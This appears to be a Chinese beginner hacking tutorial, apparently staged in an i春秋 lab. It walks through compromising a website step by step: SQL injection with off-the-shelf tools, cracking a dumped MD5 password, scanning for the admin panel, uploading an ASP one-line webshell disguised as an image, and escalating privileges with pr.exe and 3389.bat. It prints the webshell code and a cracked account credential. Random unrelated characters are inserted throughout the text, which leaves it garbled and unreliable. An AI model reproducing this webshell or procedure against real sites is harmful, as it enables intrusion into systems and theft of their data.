首先拳球，大家先跟著我一起背誦三字經(jīng)。
這是一篇在腳本小子的世界里流傳的比較廣的滲透三字經(jīng)珍特，也是拿下一個(gè)網(wǎng)站的基本思路祝峻。
何為腳本小子？一般來(lái)說(shuō)扎筒，我們通常會(huì)把以“黑客”自居并沾沾自喜的初學(xué)者叫做腳本小子莱找。腳本小子不像真正的黑客那樣發(fā)現(xiàn)系統(tǒng)漏洞，他們通常使用別人開發(fā)的程序來(lái)惡意破壞他人系統(tǒng)嗜桌。
通常的刻板印象為一位沒(méi)有尠履纾科經(jīng)驗(yàn)的少年，破壞無(wú)辜網(wǎng)站企圖使得他的朋友感到驚訝骨宠。他們常常從某些網(wǎng)站上復(fù)制腳本代碼谚赎，然后到處粘貼淫僻，卻并不一定明白他們的方法與原理。他們欽慕于黑客的能力與探索精神壶唤，但與黑客所不同的是雳灵，腳本小子通常只是對(duì)計(jì)算機(jī)系統(tǒng)有基礎(chǔ)了解與愛好，但并不注重程序語(yǔ)言闸盔、算法悯辙、和數(shù)據(jù)結(jié)構(gòu)的研究，雖然這些對(duì)于真正的黑客來(lái)說(shuō)是必須具備的素質(zhì)迎吵。
今天躲撰，小白帶你入門腳本小子。文章開頭一起朗讀的三字經(jīng)文不知道大家還有沒(méi)有印象击费。一般來(lái)說(shuō)拢蛋，最簡(jiǎn)單的滲透流程就來(lái)自這三字經(jīng)：找注入-爆賬號(hào)-找后臺(tái)-傳小馬-拿權(quán)限。其中蔫巩，這個(gè)流程的每一個(gè)階段都有代表性的利用工具谆棱，先提前和大家介紹一下。
0x01 找注入 && 0x02 爆賬號(hào)
工具：啊D注入工具圆仔、椰樹垃瞧、Pangolin（穿山甲）、havij（胡蘿卜）
0x03 找后臺(tái)
工具：御劍后臺(tái)掃描坪郭、wwwscan掃描器
0x04 傳小馬
工具：各種一句話木馬个从、中國(guó)菜刀、中國(guó)蟻劍
0x05 拿權(quán)限
工具：pr提權(quán)工具歪沃、巴西烤肉提權(quán)工具
先不講工具的原理這些廢話嗦锐，下面開始直接帶你滲透一個(gè)網(wǎng)站。####
由于小白手上沒(méi)有對(duì)應(yīng)的實(shí)驗(yàn)環(huán)境沪曙，轉(zhuǎn)戰(zhàn)i春秋意推，直接利用i春秋網(wǎng)站上提供的環(huán)境為大家來(lái)演示。
演示開始##
Setup 1 找注入###
打開桌面上的火狐瀏覽器珊蟀，出現(xiàn)如下圖的頁(yè)面
什么都不要想，直接上啊D注入工具
成功找到注入點(diǎn)外驱，如下圖所示育灸。
Setup2 爆賬號(hào)###
右鍵找到的注入點(diǎn)-注入檢測(cè)
點(diǎn)擊右上角的檢測(cè)開始注入檢測(cè)
最后得到網(wǎng)站的某個(gè)賬號(hào)，用戶名是linhai昵宇，密碼為d7e15730ef9708c0磅崭。一般來(lái)說(shuō)，數(shù)據(jù)庫(kù)存放的密碼應(yīng)該是經(jīng)過(guò)md5加密過(guò)的瓦哎，怎么破砸喻？別慌柔逼！
解密MD5網(wǎng)站: http://www.dmd5.com/
解密md5后得到密碼值為linhai19760812
Setup3 找后臺(tái)###
此步驟為找到網(wǎng)站的管理后臺(tái)。來(lái)人啊割岛，上工具愉适。
打開后開始掃描
接下來(lái)，訪問(wèn)掃描到的后臺(tái)地址癣漆，登陸维咸。
直接登陸到網(wǎng)站的后臺(tái)，到這里惠爽，是不是內(nèi)心還伴隨著一點(diǎn)小小的心動(dòng)呢?
Setup4 傳小馬###
由于是asp的站點(diǎn)癌蓖，確定需要的是asp一句話木馬，代碼為
<%eval request("x")%>婚肆，密碼為x
小白試了很多的上傳點(diǎn)租副，比如這里：
還有這里
這里
這里
但是！＝闲浴用僧！功夫不負(fù)有心人，還是讓我找到了一個(gè)上傳點(diǎn)两残。
于是乎新建一個(gè)txt文檔永毅，寫上asp一句話<%eval request("x")%>，密碼是x人弓。并且把文件類型改成圖片沼死。也不要只寫一行代碼，不大不小崔赌，100行差不多意蛀。
然后上傳
接下來(lái)的思路就是利用網(wǎng)站的數(shù)據(jù)庫(kù)功能把我們上傳的文件后綴由jpg改成asp
然后，拿出我們的菜刀健芭，連接剛我們復(fù)制到根目錄的xbk.asp文件（木馬）
地址是：http://www.test.ichunqiu/xbk.asp县钥，密碼是x。
在空白處 右鍵-添加 慈迈，輸入木馬的地址和網(wǎng)站
Setup5 拿權(quán)限###
右鍵木馬的地址若贮，選擇 虛擬終端
輸入任意命令，發(fā)現(xiàn)沒(méi)有權(quán)限痒留，訪問(wèn)被拒絕
接下切換到回收站目錄下谴麦，回收站是幾個(gè)有限擁有執(zhí)行權(quán)限的目錄。
分別找到我們的提權(quán)三件套：cmd.exe伸头、pr.exe匾效、3389.bat
接著，將三件套上傳到回收站目錄下面恤磷，如下圖所示面哼。
接下來(lái)野宜，進(jìn)入我們上傳的cmd.exe的虛擬終端，執(zhí)行我們的提權(quán)三件套魔策。
執(zhí)行完成之后匈子，打遠(yuǎn)程連接，進(jìn)入服務(wù)器代乃。
至此旬牲，一個(gè)完整的滲透過(guò)程到此結(jié)束。
Ps：喜歡的留個(gè)贊b(￣▽￣)d ~也可以關(guān)注專題：黑客師搁吓。
下一篇文章：小白客帶你走進(jìn)黑客世界14之論kali滲透的藝術(shù)
